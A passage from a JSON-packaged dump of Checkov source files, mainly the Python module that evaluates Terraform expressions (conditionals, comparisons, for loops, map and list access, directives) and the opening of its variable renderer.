if\n               node.get(CustomAttributes.BLOCK_TYPE) == BlockType.MODULE]\n    for modules_data in modules:\n        for module_name, module_content in modules_data.get(CustomAttributes.CONFIG, {}).items():\n            for path in module_content.get(\"__resolved__\", []):\n                file_path_to_module_id[path] = f\"module.{module_name}\"\n    return file_path_to_module_id\n\n\ndef setup_file_path_to_referred_id(graph_object: LibraryGraph) -> dict[str, str]:\n    if isinstance(graph_object, DiGraph):\n        return get_file_path_to_referred_id_networkx(graph_object)\n    else:\n        return get_file_path_to_referred_id_rustworkx(graph_object)\n\n\ndef get_attribute_is_leaf(vertex: TerraformBlock) -> Dict[str, bool]:\n    attribute_is_leaf = {}\n    for attribute in vertex.attributes:\n        attribute_is_leaf[attribute] = True\n        other = '.'.join(attribute.split('.')[:-1])\n        if other in attribute_is_leaf:\n            attribute_is_leaf[other] = False\n    return attribute_is_leaf\n"
  },
  {
    "path": "checkov/terraform/graph_builder/variable_rendering/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/terraform/graph_builder/variable_rendering/evaluate_terraform.py",
    "content": "from __future__ import annotations\n\nimport ast\nimport json\nimport logging\nimport os\nimport re\nfrom typing import Any, Union, Optional, List, Dict, Callable, TypeVar, Tuple\n\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.common.util.parser_utils import find_var_blocks\nimport checkov.terraform.graph_builder.variable_rendering.renderer as renderer\nfrom checkov.terraform.graph_builder.variable_rendering.safe_eval_functions import evaluate\n\nT = TypeVar(\"T\", str, int, bool)\n\n# %{ some_text }\nDIRECTIVE_EXPR = re.compile(r\"\\%\\{([^\\}]*)\\}\")\n\n# exclude \"']\" one the right side of the compare via (?!']), this can happen with a base64 encoded string\nCOMPARE_REGEX = re.compile(r\"^(?P<a>.+?)\\s*(?P<operator>==|!=|>=|>|<=|<|&&|\\|\\|)\\s*(?P<b>(?!']).+)$\")\nCOMPARE_OPERATORS = (\" == \", \" != \", \" < \", \" <= \", \" > \", \" >= \", \" && \", \" || \")\nREMOVE_TRAILING_COMMAS = re.compile(r',(\\s*[}\\]])')\n\nCHECKOV_RENDER_MAX_LEN = force_int(os.getenv(\"CHECKOV_RENDER_MAX_LEN\", \"10000\"))\n\n\ndef evaluate_terraform(input_str: Any, keep_interpolations: bool = True) -> Any:\n    if input_str is None or isinstance(input_str, int):\n        # no need for further evaluation\n        return input_str\n\n    if isinstance(input_str, str) and CHECKOV_RENDER_MAX_LEN and 0 < CHECKOV_RENDER_MAX_LEN < len(input_str):\n        logging.debug(f'Rendering was skipped for a {len(input_str)}-character-long string. If you wish to have it '\n                      f'evaluated, please set the environment variable CHECKOV_RENDER_MAX_LEN '\n                      f'to {str(len(input_str) + 1)} or to 0 to allow rendering of any length')\n        return input_str\n    evaluated_value = _try_evaluate(input_str)\n    if type(evaluated_value) is not str:\n        return input_str if callable(evaluated_value) else evaluated_value\n    evaluated_value = evaluated_value.replace(\"\\n\", \"\")\n    evaluated_value = evaluated_value.replace(\",,\", \",\")\n\n    # if we try to strip interpolations but that does not help evaluation, then we should add them back in the case that\n    # the interpolated string is part of a substring, so it can be identified by the \"is_variable_dependent\" method.\n    # For example, the value \"abc-${var.x}-xyz\" will not be identified as a variable if we remove the interpolation\n    # However, if the full value is just an interpolated variable, like ${var.xyz}, then we can leave them off, because\n    # it won't affect that method and breaks certain policies and other logic that was written in a specific way\n    value_before_removing_interpolations = evaluated_value\n    if not keep_interpolations:\n        evaluated_value = remove_interpolation(evaluated_value)\n    if '${' + evaluated_value + '}' == value_before_removing_interpolations:\n        value_before_removing_interpolations = evaluated_value\n    value_after_removing_interpolations = evaluated_value\n\n    evaluated_value = evaluate_map(evaluated_value)\n    evaluated_value = evaluate_list_access(evaluated_value)\n    evaluated_value = strip_double_quotes(evaluated_value)\n    evaluated_value = evaluate_directives(evaluated_value)\n    evaluated_value = strip_interpolation_marks(evaluated_value)\n    evaluated_value = evaluate_conditional_expression(evaluated_value)\n    evaluated_value = evaluate_compare(evaluated_value)\n    evaluated_value = evaluate_json_types(evaluated_value)\n    evaluated_value = handle_for_loop(evaluated_value)\n    second_evaluated_value = None\n    if isinstance(evaluated_value, str):\n        second_evaluated_value = _try_evaluate(evaluated_value)\n\n    if second_evaluated_value and callable(second_evaluated_value):\n        return evaluated_value\n    elif not keep_interpolations and second_evaluated_value == value_after_removing_interpolations:\n        return value_before_removing_interpolations\n    else:\n        second_evaluated_value = _eval_merge_as_list(second_evaluated_value)\n        return second_evaluated_value\n\n\ndef _eval_merge_as_list(eval_value: Any) -> Any:\n    \"\"\"\n    Edge case for an eval in eval.\n    UT for this: test_jsonpath_equals_ecs_with_merge\n    \"\"\"\n    if eval_value and isinstance(eval_value, list) and isinstance(eval_value[0], str) and eval_value[0].startswith('merge'):\n        return _try_evaluate(eval_value[0])\n    return eval_value\n\n\ndef _try_evaluate(input_str: Union[str, bool]) -> Any:\n    try:\n        result = evaluate(input_str)  # type:ignore[arg-type]\n        if result is None:\n            raise Exception(f\"Can't evaluate {input_str}\")\n        return result\n    except Exception:\n        try:\n            return evaluate(f'\"{input_str}\"')\n        except Exception:\n            try:\n                # Sometimes eval can fail on correct terraform input like 'true'/'false',\n                # as python's values are with capital T/F.\n                # However, json does know how to handle it, so we use it instead.\n                if isinstance(input_str, str):\n                    return json.loads(input_str)\n                return input_str\n            except Exception:\n                try:\n                    # Remove trailing commas before } or ]\n                    input_str_no_trailing = REMOVE_TRAILING_COMMAS.sub(r'\\1', input_str)  # type:ignore[arg-type]\n                    return json.loads(input_str_no_trailing)\n                except Exception:\n                    return input_str\n\n\ndef replace_string_value(original_str: Any, str_to_replace: str, replaced_value: str, keep_origin: bool = True) -> Any:\n    if original_str is None or type(original_str) not in (str, list):\n        return original_str\n\n    if type(original_str) is list:\n        for i, item in enumerate(original_str):\n            original_str[i] = replace_string_value(item, str_to_replace, replaced_value, keep_origin)\n            if type(replaced_value) in [int, float, bool]:\n                original_str[i] = evaluate_terraform(original_str[i])\n            return original_str\n\n    if str_to_replace not in original_str:\n        return original_str if keep_origin else str_to_replace\n\n    string_without_interpolation = remove_interpolation(original_str, str_to_replace, escape_unrendered=False)\n    if (isinstance(replaced_value, (list, dict)) and not str_to_replace.startswith('\"')):\n        # In cases we are rendering a variable of list/dict, it might result in mistakenly transforming them to str.\n        # By adding the wrap with `\"` we make sure that we replace them as well and thus preserve the original type.\n        wrapped_str_to_replace = f'\"{str_to_replace}\"'\n        if wrapped_str_to_replace in string_without_interpolation:\n            str_to_replace = wrapped_str_to_replace\n    res = string_without_interpolation.replace(str_to_replace, str(replaced_value))\n    return res\n\n\ndef _string_changed_except_interpolation(str_before: str, str_after: str) -> bool:\n    return abs(len(str_before) - len(str_after)) != 3\n\n\ndef _find_new_value_for_interpolation(origin_str: str, str_to_replace: str, new_value: str) -> str:\n    \"\"\"\n    This function checks whether we should escape the interpolated value, to avoid syntax error.\n    Example:\n        origin_str = \"${lookup({'a': ${local.protocol1}},\\\"a\\\",\\\"https\\\")}\"\n        If we don't escape local.protocol1, the lookup function will fail, i.e -\n          invalid - ${lookup({'a': local.protocol1},\\\"a\\\",\\\"https\\\")}\n          valid - ${lookup({'a': 'local.protocol1'},\\\"a\\\",\\\"https\\\")}\n    Default to return is new_value\n    \"\"\"\n    try:\n        # First part - checking if not-escaped is valid.\n        not_escaped = origin_str.replace(str_to_replace, new_value)\n        first_evaluated = evaluate_terraform(not_escaped)\n        if _string_changed_except_interpolation(not_escaped, first_evaluated):\n            # checking if the len difference != 3 checks if we didn't only remove the '${}'\n            return new_value\n        second_evaluated = _try_evaluate(first_evaluated)\n        if first_evaluated != second_evaluated and _string_changed_except_interpolation(not_escaped, second_evaluated):\n            return new_value\n\n        # Second part - checking if escaped is valid\n        escaped_new_value = f'\"{new_value}\"'\n        escaped = origin_str.replace(str_to_replace, escaped_new_value)\n        first_evaluated = evaluate_terraform(escaped)\n        if escaped != first_evaluated and _string_changed_except_interpolation(escaped, first_evaluated):\n            return escaped_new_value\n        second_evaluated = _try_evaluate(first_evaluated)\n        if first_evaluated != second_evaluated:\n            return escaped_new_value\n        else:\n            return new_value\n    except Exception:\n        return new_value\n\n\ndef remove_interpolation(original_str: str, var_to_clean: Optional[str] = None, escape_unrendered: bool = True) -> str:\n    # get all variable references in string\n    # remove from the string all ${} or '${}' occurrences\n    var_blocks = find_var_blocks(original_str)\n    var_blocks.reverse()\n    for block in var_blocks:\n        if (\n            block.full_str.startswith(\"${\")\n            and block.full_str.endswith(\"}\")\n            and (not var_to_clean or block.var_only == var_to_clean)\n        ):\n            full_str_start = original_str.find(block.full_str)\n            full_str_end = full_str_start + len(block.full_str)\n            if (\n                full_str_start > 0\n                and full_str_end <= len(original_str) - 2\n                and original_str[full_str_start - 1] == \"'\"\n                and original_str[full_str_start - 1] == original_str[full_str_end]\n                and \".\" in block.full_str\n            ):\n                # checking if ${} is wrapped with '' like : '${}'\n                original_str = original_str[:full_str_start - 1] + block.full_str + original_str[full_str_end + 1:]\n                if escape_unrendered:\n                    block.var_only = f\"'{block.var_only}'\"\n                else:\n                    block.var_only = _find_new_value_for_interpolation(original_str, block.full_str, block.var_only)\n            original_str = original_str.replace(block.full_str, block.var_only)\n    return original_str\n\n\ndef strip_double_quotes(input_str: str) -> str:\n    if input_str.startswith('\"') and input_str.endswith('\"'):\n        input_str = input_str[1:-1]\n    return input_str\n\n\ndef strip_interpolation_marks(input_str: str) -> str:\n    if input_str.startswith(\"${\") and input_str.endswith(\"}\"):\n        # remove the needed char length of the interpolation marks\n        input_str = input_str[2:-1]\n    return input_str\n\n\ndef evaluate_conditional_expression(input_str: str) -> str:\n    if input_str.startswith(\"['${\") and input_str.endswith(\"}']\"):\n        condition = find_conditional_expression_groups(input_str[4:-3])\n        if condition is not None:\n            input_str = input_str[4:-3]\n    else:\n        condition = find_conditional_expression_groups(input_str)\n    if condition is None:\n        return input_str\n\n    while condition:\n        groups, start, end = condition\n        if len(groups) != 3:\n            return input_str\n        evaluated_condition = evaluate_compare(groups[0])\n        if type(evaluated_condition) is str:\n            evaluated_condition = evaluate_terraform(groups[0])\n        condition_substr = input_str[start:end]\n        bool_evaluated_condition = convert_to_bool(evaluated_condition)\n        if bool_evaluated_condition is True:\n            true_val = str(evaluate_terraform(groups[1])).strip()\n            input_str = input_str.replace(condition_substr, true_val)\n        elif bool_evaluated_condition is False:\n            false_val = str(evaluate_terraform(groups[2])).strip()\n            input_str = input_str.replace(condition_substr, false_val)\n        else:\n            # in case we didn't succeed to evaluate condition we shouldn't put any value.\n            break\n        condition = find_conditional_expression_groups(input_str)\n\n    return input_str\n\n\ndef evaluate_compare(input_str: str) -> str | bool | int:\n    \"\"\"\n    :param input_str: string like \"a && b\" (supported operators: ==, != , <, <=, >, >=, && , ||)\n    :return: evaluation of the expression\n    \"\"\"\n    if isinstance(input_str, str) and \"for\" not in input_str:\n        if not any(operator in input_str for operator in COMPARE_OPERATORS):\n            # if an operator doesn't exist in the string, no need to proceed\n            return input_str\n\n        match = re.search(COMPARE_REGEX, input_str)\n        if match:\n            compare_parts = match.groupdict()\n            a = compare_parts.get(\"a\")\n            b = compare_parts.get(\"b\")\n            op = compare_parts.get(\"operator\")\n            if a and b and op:\n                try:\n                    return apply_binary_op(evaluate_terraform(a), evaluate_terraform(b), op)\n                except (TypeError, SyntaxError):\n                    return input_str\n\n    return input_str\n\n\ndef _handle_literal(input_str: str) -> Any:\n    try:\n        e = ast.literal_eval(input_str)\n        if isinstance(e, list) and len(e) == 1:\n            return e[0]\n    except (ValueError, SyntaxError):\n        pass\n\n    return input_str\n\n\ndef _remove_variable_formatting(input_str: str) -> str:\n    return input_str[2:-1] if input_str.startswith(f'{renderer.DOLLAR_PREFIX}{renderer.LEFT_CURLY}') and input_str.endswith(renderer.RIGHT_CURLY) else input_str\n\n\ndef _evaluate_iterable(input_str: str, iterable_start_idx: int, iterable_end_idx: int) -> str:\n    input_str = input_str[0:iterable_start_idx + 1] + str(\n        _try_evaluate(input_str[iterable_start_idx: iterable_end_idx].strip())) + input_str[iterable_end_idx:]\n    return input_str\n\n\ndef handle_for_loop(input_str: Union[str, int, bool]) -> str | int | bool:\n    if isinstance(input_str, str) and renderer.FOR_LOOP in input_str and '?' not in input_str:\n        old_input_str = input_str\n        input_str = _handle_literal(input_str)\n        if isinstance(input_str, str) and renderer.FOR_LOOP in input_str:\n            input_str = _remove_variable_formatting(input_str)\n            iterable_start_idx = input_str.find('in') + 2\n            iterable_end_idx = input_str.find(renderer.KEY_VALUE_SEPERATOR)\n            input_str = _evaluate_iterable(input_str, iterable_start_idx, iterable_end_idx)\n            start_bracket_idx = input_str[1:].find(renderer.LEFT_BRACKET)\n            end_bracket_idx = renderer.find_match_bracket_index(input_str, start_bracket_idx + 1)\n            if start_bracket_idx == -1 or end_bracket_idx == -1:\n                return old_input_str\n\n            rendered_statement = input_str[start_bracket_idx:end_bracket_idx + 1].replace('\"', '\\\\\"').replace(\"'\", '\"')\n            new_val: str | None = ''\n            if input_str.startswith(renderer.LEFT_CURLY):\n                new_val = _handle_for_loop_in_dict(rendered_statement, input_str, end_bracket_idx + 1)\n            elif input_str.startswith(renderer.LEFT_BRACKET):\n                new_val = _handle_for_loop_in_list(rendered_statement, input_str, end_bracket_idx + 1)\n            return new_val if new_val else old_input_str\n        else:\n            return input_str\n    else:\n        return input_str\n\n\ndef _extract_expression_from_statement(statement: str, start_expression_idx: int) -> str:\n    \"\"\"\n    statement: [ for val in [\"v\", \"k\"] : val ]\n    start_expression_idx: len(\" for val in [\"v\", \"k\"]\")\n    output: \"val\"\n\n    statement: { for val in {\"name\": \"a\", \"val\": \"val\"} : val.name => true }\n    start_expression_idx: len(\" for val in {\"name\": \"a\", \"val\": \"val\"}\")\n    output: val.name => true\n    \"\"\"\n    return statement[start_expression_idx + len(renderer.KEY_VALUE_SEPERATOR):-1]\n\n\ndef _handle_for_loop_in_dict(object_to_run_on: str, statement: str, start_expression_idx: int) -> Optional[str]:\n    try:\n        evaluated_object_to_run_on: list[dict[str, Any]] = ast.literal_eval(object_to_run_on.replace(' ', ''))\n    except (ValueError, SyntaxError):\n        return None\n    expression = _extract_expression_from_statement(statement, start_expression_idx)\n    split_expression = expression.replace(' ', '').split(renderer.FOR_EXPRESSION_DICT)\n    if len(split_expression) != 2:\n        return None\n    k_expression, v_expression = split_expression\n    obj_key = statement.split(' ')[1]\n    if k_expression.startswith(f'{obj_key}.'):\n        k_expression = k_expression.replace(f'{obj_key}.', '')\n    rendered_result = {}\n    for obj in evaluated_object_to_run_on:\n        val_to_assign = obj if statement.startswith(f'{renderer.LEFT_CURLY}{renderer.FOR_LOOP} {v_expression}') else evaluate_terraform(v_expression)\n        try:\n            rendered_result[obj[k_expression]] = val_to_assign\n        except (TypeError, KeyError):\n            return None\n    return json.dumps(rendered_result)\n\n\ndef _handle_for_loop_in_list(object_to_run_on: str, statement: str, start_expression_idx: int) -> Optional[str]:\n    try:\n        evaluated_object_to_run_on: list[Any] = ast.literal_eval(object_to_run_on.replace(' ', ''))\n    except (ValueError, SyntaxError):\n        return None\n    expression = _extract_expression_from_statement(statement, start_expression_idx)\n    if renderer.LOOKUP in expression:\n        return None\n    if renderer.DOLLAR_PREFIX in expression:\n        return _handle_for_loop_in_list_of_dicts(\n            object_to_run_on=evaluated_object_to_run_on,\n            statement=statement,\n            expression=expression,\n        )\n\n    rendered_result = []\n    for obj in evaluated_object_to_run_on:\n        val_to_assign = obj if statement.startswith(f'{renderer.LEFT_BRACKET}{renderer.FOR_LOOP} {expression}') else evaluate_terraform(expression)\n        rendered_result.append(val_to_assign)\n    return json.dumps(rendered_result)\n\n\ndef _handle_for_loop_in_list_of_dicts(object_to_run_on: list[Any], statement: str, expression: str) -> str:\n    rendered_result = []\n    loop_key = f\"${{{statement.split(' ')[1]}.\"  # ex. \"${val.\"\n    if loop_key in expression:\n        for obj in object_to_run_on:\n            val_to_assign = expression\n            if isinstance(obj, dict):\n                for obj_key, obj_value in obj.items():\n                    replace_value = f\"{loop_key}{obj_key}}}\"  # ex. \"${val.name}\"\n                    if replace_value in val_to_assign:\n                        if isinstance(obj_value, (list, dict)):\n                            obj_value = json.dumps(obj_value)\n                        if isinstance(obj_value, (bool, int)) or obj_value is None:\n                            # need to also remove the surrounding quotes\n                            val_to_assign = val_to_assign.replace(f\"'{replace_value}'\", str(obj_value))\n                        else:\n                            val_to_assign = val_to_assign.replace(replace_value, obj_value)\n            try:\n                # it should be a JSON, but better be safe than sorry\n                val_to_assign = ast.literal_eval(val_to_assign)\n            except (ValueError, SyntaxError):\n                # ignore unparsable expressions\n                continue\n            rendered_result.append(val_to_assign)\n    return json.dumps(rendered_result)\n\n\ndef evaluate_json_types(input_str: Any) -> Any:\n    # https://www.terraform.io/docs/language/functions/jsonencode.html\n    if isinstance(input_str, str) and input_str.startswith(\"jsonencode(\"):\n        return input_str.replace(\"true\", \"True\").replace(\"false\", \"False\").replace(\"null\", \"None\")\n\n    return input_str\n\n\ndef apply_binary_op(a: Optional[Union[str, int, bool]], b: Optional[Union[str, int, bool]], operator: str) -> bool | int | str:\n    # apply the operator after verifying that a and b have the same type.\n    operators: Dict[str, Callable[[T, T], bool | int | str]] = {\n        \"==\": lambda a, b: a == b,\n        \"!=\": lambda a, b: a != b,\n        \">\": lambda a, b: a > b,\n        \">=\": lambda a, b: a >= b,\n        \"<\": lambda a, b: a < b,\n        \"<=\": lambda a, b: a <= b,\n        \"&&\": lambda a, b: a and b,\n        \"||\": lambda a, b: a or b,\n    }\n    type_a = type(a)\n    type_b = type(b)\n\n    if type_a != type_b:\n        try:\n            temp_b = type_a(b)  # type:ignore[misc,arg-type]\n            if isinstance(a, bool) and b:\n                temp_b = bool(convert_to_bool(b))\n            return operators[operator](a, temp_b)  # type:ignore[type-var]\n        except Exception:\n            temp_a = type_b(a)  # type:ignore[misc,arg-type]\n            if isinstance(b, bool) and a:\n                temp_a = bool(convert_to_bool(a))\n            return operators[operator](temp_a, b)  # type:ignore[type-var]\n    else:\n        return operators[operator](a, b)  # type:ignore[type-var]\n\n\ndef evaluate_directives(input_str: str) -> str:\n    if \"%{\" not in input_str:\n        # no need to proceed further\n        return input_str\n\n    if re.search(DIRECTIVE_EXPR, input_str) is None:\n        return input_str\n\n    # replace `%{if <BOOL>}%{true_val}%{else}%{false_val}%{endif}` pattern with `<BOOL> ? true_val : false_val`\n    matching_directives = re.findall(DIRECTIVE_EXPR, input_str)\n    if len(matching_directives) == 3:\n        if (\n            re.search(r\"\\bif\\b\", matching_directives[0])\n            and re.search(r\"\\belse\\b\", matching_directives[1])\n            and re.search(r\"\\bendif\\b\", matching_directives[2])\n        ):\n            split_by_directives = re.split(DIRECTIVE_EXPR, input_str)\n            edited_str = \"\"\n            for part in split_by_directives:\n                if re.search(r\"\\bif\\b\", part):\n                    part = part.replace(\"if\", \"%{\") + \" ? \"\n                    part = re.sub(r\"\\s\", \"\", part)\n                if re.search(r\"\\belse\\b\", part):\n                    part = part.replace(\"else\", \":\")\n                    part = re.sub(r\"\\s\", \"\", part)\n                if re.search(r\"\\bendif\\b\", part):\n                    part = part.replace(\"endif\", \"}\")\n                    part = re.sub(r\"\\s\", \"\", part)\n                edited_str += part\n            input_str = edited_str\n\n    matching_directives = re.split(DIRECTIVE_EXPR, input_str)\n    evaluated_string_parts = []\n    for str_part in matching_directives:\n        evaluated_string_parts.append(evaluate_terraform(str_part))\n\n    # Handle evaluation results which are integer / boolean\n    evaluated_string_parts = [v if isinstance(v, str) else str(v) for v in evaluated_string_parts]\n    return \"\".join(evaluated_string_parts)\n\n\ndef evaluate_map(input_str: str) -> str:\n    # first replace maps \":\" with \"=\"\n    all_curly_brackets = find_brackets_pairs(input_str, \"{\", \"}\")\n    if \"=\" in input_str:\n        for curly_match in all_curly_brackets:\n            curly_start = curly_match[\"start\"]\n            curly_end = curly_match[\"end\"]\n            replaced_matching_map = ' ' + input_str[curly_start: curly_end + 1] + ' '\n            for i in range(1, len(replaced_matching_map) - 1):\n                if replaced_matching_map[i] == \"=\" and replaced_matching_map[i - 1] not in [\"=\", \"!\"] and replaced_matching_map[i + 1] != \"=\":\n                    replaced_matching_map = f'{replaced_matching_map[:i]}:{replaced_matching_map[i + 1:]}'\n            input_str = input_str.replace(input_str[curly_start : curly_end + 1], replaced_matching_map[1:-1])\n\n    # find map access like {a: b}[a] and extract the right value - b\n    all_square_brackets = find_brackets_pairs(input_str, \"[\", \"]\")\n\n    curr_square_match = 0\n    for curly_match in all_curly_brackets:\n        curly_start = curly_match[\"start\"]\n        curly_end = curly_match[\"end\"]\n        for i in range(curr_square_match, len(all_square_brackets)):\n            curr_square_match = i\n            square_match = all_square_brackets[i]\n            square_start = square_match[\"start\"]\n            square_end = square_match[\"end\"]\n            if square_start > curly_end and (\n                square_start == curly_end + 1 or all(c == \" \" for c in input_str[curly_end + 1 : square_start])\n            ):\n                origin_match_str = input_str[curly_start : square_end + 1]\n                map_access = input_str[square_start + 1 : square_end]\n                if not map_access.startswith('\"') and not map_access.endswith('\"'):\n                    origin_match_str = origin_match_str.replace(f\"[{map_access}]\", f'[\"{map_access}\"]')\n                evaluated = _try_evaluate(origin_match_str)\n                if evaluated:\n                    input_str = input_str.replace(input_str[curly_start : square_end + 1], str(evaluated))\n                    break\n\n    return input_str\n\n\ndef convert_to_bool(bool_str: Union[str, int]) -> Union[str, int, bool]:\n    if bool_str in [\"true\", '\"true\"', \"True\", '\"True\"', 1, \"1\"]:\n        return True\n    elif bool_str in [\"false\", '\"false\"', \"False\", '\"False\"', 0, \"0\"]:\n        return False\n    else:\n        return bool_str\n\n\ndef evaluate_list_access(input_str: str) -> str:\n    # find list access like [a, b, c][0] and extract the right value - a\n\n    all_square_brackets = find_brackets_pairs(input_str, \"[\", \"]\")\n    prev_start = -1\n    prev_end = -1\n    for match in all_square_brackets:\n        if (\n            match[\"start\"] == prev_end + 1 or all(c == \" \" for c in input_str[prev_end + 1 : match[\"start\"]])\n        ) and prev_start != -1:\n            curr_str = input_str[match[\"start\"] + 1 : match[\"end\"]]\n            if curr_str.isnumeric():\n                evaluated = _try_evaluate(input_str[prev_start : match[\"end\"] + 1])\n                if evaluated:\n                    input_str = input_str.replace(input_str[prev_start : match[\"end\"] + 1], str(evaluated))\n        prev_start = match[\"start\"]\n        prev_end = match[\"end\"]\n\n    return input_str\n\n\ndef find_brackets_pairs(input_str: str, starting: str, closing: str) -> List[Dict[str, int]]:\n    brackets_pairs = [-1] * len(input_str)\n    unmatched_open = []\n\n    for i, c in enumerate(input_str):\n        if c == starting:\n            unmatched_open.append(i)\n        elif c == closing and len(unmatched_open) > 0:\n            brackets_pairs[unmatched_open[-1]] = i\n            unmatched_open = unmatched_open[:-1]\n\n    all_brackets = []\n    for start, end in enumerate(brackets_pairs):\n        if end != -1 and end - start > 1:\n            all_brackets.append({\"start\": start, \"end\": end})\n    return all_brackets\n\n\ndef find_conditional_expression_groups(input_str: str) -> Optional[Tuple[List[str], int, int]]:\n    \"\"\"\n    from condition ? true_val : false_val return [condition, true_val, false_val]\n    \"\"\"\n    if '?' not in input_str or ':' not in input_str:\n        return None\n    if input_str.index('?') > input_str.rindex(':'):\n        return None\n    brackets_pairs = {\n        '[': ']',\n        '{': '}',\n        '(': ')'\n    }\n    str_keys = {'\\'', '\"'}\n\n    stack: list[tuple[str, int]] = []\n    groups = []\n    end_stack: list[tuple[str, int]] = []\n\n    def _update_stack_if_needed(char: str, i: int) -> None:\n        # can be true only if the char in str_keys or in brackets_pairs.values()\n        if stack and stack[-1][0] == char:\n            stack.pop(len(stack) - 1)\n        elif char in brackets_pairs:\n            stack.append((brackets_pairs[char], i))\n        elif char in str_keys:\n            stack.append((char, i))\n\n    def _find_separator_index(separator: str, input_str: str, start: int, update_end_stack: bool = False) -> Optional[int]:\n        for i in range(start, len(input_str)):\n            char = input_str[i]\n            if char == separator:\n                if not stack or stack == end_stack:\n                    return i\n                if update_end_stack:\n                    end_stack.extend(stack)\n                    return i\n            _update_stack_if_needed(char, i)\n\n        return None\n\n    # find first separator\n    first_separator = _find_separator_index('?', input_str, 0, update_end_stack=True)\n    if first_separator is None:\n        return None\n    start = 0 if not stack else stack[-1][1]\n    # Advance start index by 1 if the first character is a left parenthesis from the function call\n    if input_str[start] == renderer.LEFT_PARENTHESIS:\n        start = start + 1\n    comma_seperator = _find_separator_index(renderer.COMMA, input_str, start)\n    if comma_seperator and start < comma_seperator < first_separator:\n        start = comma_seperator + 1\n    groups.append(input_str[start:first_separator].strip())\n\n    # find second separator\n    second_separator = _find_separator_index(':', input_str, first_separator)\n    if second_separator is None:\n        return None\n    groups.append(input_str[first_separator + 1:second_separator])\n\n    if not stack:\n        groups.append(input_str[second_separator + 1:])\n        return groups, 0, len(input_str)\n\n    start = max(start, stack[-1][1])\n    end = len(input_str)\n    for i in range(second_separator + 1, len(input_str)):\n        char = input_str[i]\n        if char == renderer.COMMA and stack == end_stack:\n            end = i\n            break\n        _update_stack_if_needed(char, i)\n        if not stack:\n            end = i + 1\n            break\n        if len(stack) + 1 == len(end_stack):\n            end = i\n            break\n\n    groups.append(input_str[second_separator + 1:end])\n\n    return groups, start, end\n"
  },
  {
    "path": "checkov/terraform/graph_builder/variable_rendering/renderer.py",
    "content": "from __future__ import annotations\n\nimport json\nfrom ast import literal_eval\nimport logging\nimport os\nimport re\nfrom collections.abc import Hashable, Sequence\nfrom json import JSONDecodeError\n\nimport dpath\nfrom typing import TYPE_CHECKING, List, Dict, Any, Tuple, Union, Optional, cast\n\nfrom lark.tree import Tree\n\nfrom checkov.common.graph.graph_builder import Edge\nfrom checkov.common.graph.graph_builder.utils import join_trimmed_strings\nfrom checkov.common.graph.graph_builder.variable_rendering.renderer import VariableRenderer\nfrom checkov.common.util.data_structures_utils import find_in_dict, pickle_deepcopy\nfrom checkov.common.util.type_forcers import force_int\nfrom checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes, reserved_attribute_names\nfrom checkov.terraform.graph_builder.graph_components.block_types import BlockType\nfrom checkov.terraform.graph_builder.utils import (\n    get_attribute_is_leaf,\n    get_referenced_vertices_in_value,\n    remove_index_pattern_from_str,\n    attribute_has_nested_attributes, attribute_has_dup_with_dynamic_attributes,\n)\nfrom checkov.terraform.graph_builder.variable_rendering.vertex_reference import VertexReference\nimport checkov.terraform.graph_builder.variable_rendering.evaluate_terraform as evaluator\n\nif TYPE_CHECKING:\n    from checkov.terraform.graph_builder.local_graph import TerraformLocalGraph\n\nVAR_TYPE_DEFAULT_VALUES: dict[str, list[Any] | dict[str, Any]] = {\n    'list': [],\n    'map': {}\n}\n\nattrsToFilterByResourceType = {\n    \"google_iam_workload_identity_pool_provider\": [\"attribute_condition\"]\n}\n\nDYNAMIC_STRING = 'dynamic'\nDYNAMIC_BLOCKS_LISTS = 'list'\nDYNAMIC_BLOCKS_MAPS = 'map'\nFOR_LOOP = 'for'\nLOOKUP = 'lookup'\nDOT_SEPERATOR = '.'\nLEFT_BRACKET_WITH_QUOTATION = '[\"'\nRIGHT_BRACKET_WITH_QUOTATION = '\"]'\nLEFT_PARENTHESIS = '('\nCOMMA = ','\nLEFT_BRACKET = '['\nRIGHT_BRACKET = ']'\nLEFT_CURLY = '{'\nRIGHT_CURLY = '}'\nDOLLAR_PREFIX = '$'\nFOR_EXPRESSION_DICT = ':>'\nKEY_VALUE_SEPERATOR = ' : '\n\n# matches the internal value of the 'type' attribute: usually like '${map}' or '${map(string)}', but could possibly just\n# be like 'map' or 'map(string)' (but once we hit a ( or } we can stop)\nTYPE_REGEX = re.compile(r'^(\\${)?([a-z]+)')\nCHECKOV_RENDER_MAX_LEN = force_int(os.getenv(\"CHECKOV_RENDER_MAX_LEN\", \"10000\"))\n\nDATA_SPECIAL_KEYWORDS = {\n    \"policy_data\": \"binding\"\n}\n\n\nclass TerraformVariableRenderer(VariableRenderer[\"TerraformLocalGraph\"]):\n    def __init__(self, local_graph: \"TerraformLocalGraph\") -> None:\n        super().__init__(local_graph)\n\n    def attributes_no_eval(self, attribute: str, vertex_index: int) -> bool:\n        \"\"\"\n        Check if the attribute should not be evaluated.\n        :param attribute: the attribute to check\n        :param vertex_index: the index of the current vertex\n        :return bool: True if the attribute should not be evaluated and False otherwise\n        \"\"\"\n        if attribute in {\"template_body\", \"template\"}:\n            return True\n\n        # OCI policy statements have a special syntax and should not be evaluated.\n        # Check if the vertex at this index is an OCI terraform resource.\n        if attribute == \"statements\":\n            vertex_attributes = self.local_graph.get_vertex_attributes_by_index(vertex_index)\n            if vertex_attributes and vertex_attributes.get(\"resource_type\", \"\").startswith(\"oci_\"):\n                return True\n\n        return False\n\n    def evaluate_vertex_attribute_from_edge(self, edge_list: List[Edge]) -> None:\n        multiple_edges = len(edge_list) > 1\n        edge = edge_list[0]\n        for e in edge_list:\n            if not self.local_graph.vertices[e.origin] or not self.local_graph.vertices[e.dest]:\n                return\n        origin_vertex_attributes = self.local_graph.vertices[edge.origin].attributes\n        val_to_eval = pickle_deepcopy(origin_vertex_attributes.get(edge.label, \"\"))\n\n        referenced_vertices = get_referenced_vertices_in_value(\n            value=val_to_eval, aliases={}, resources_types=self.local_graph.get_resources_types_in_graph()\n        )\n        if not referenced_vertices:\n            origin_vertex = self.local_graph.vertices[edge.origin]\n            destination_vertex = self.local_graph.vertices[edge.dest]\n            if origin_vertex.block_type == BlockType.VARIABLE and destination_vertex.block_type == BlockType.MODULE:\n                self.update_evaluated_value(\n                    changed_attribute_key=edge.label,\n                    changed_attribute_value=destination_vertex.attributes[origin_vertex.name],\n                    vertex=edge.origin,\n                    change_origin_id=edge.dest,\n                    attribute_at_dest=edge.label,\n                )\n                return\n            if (\n                origin_vertex.block_type == 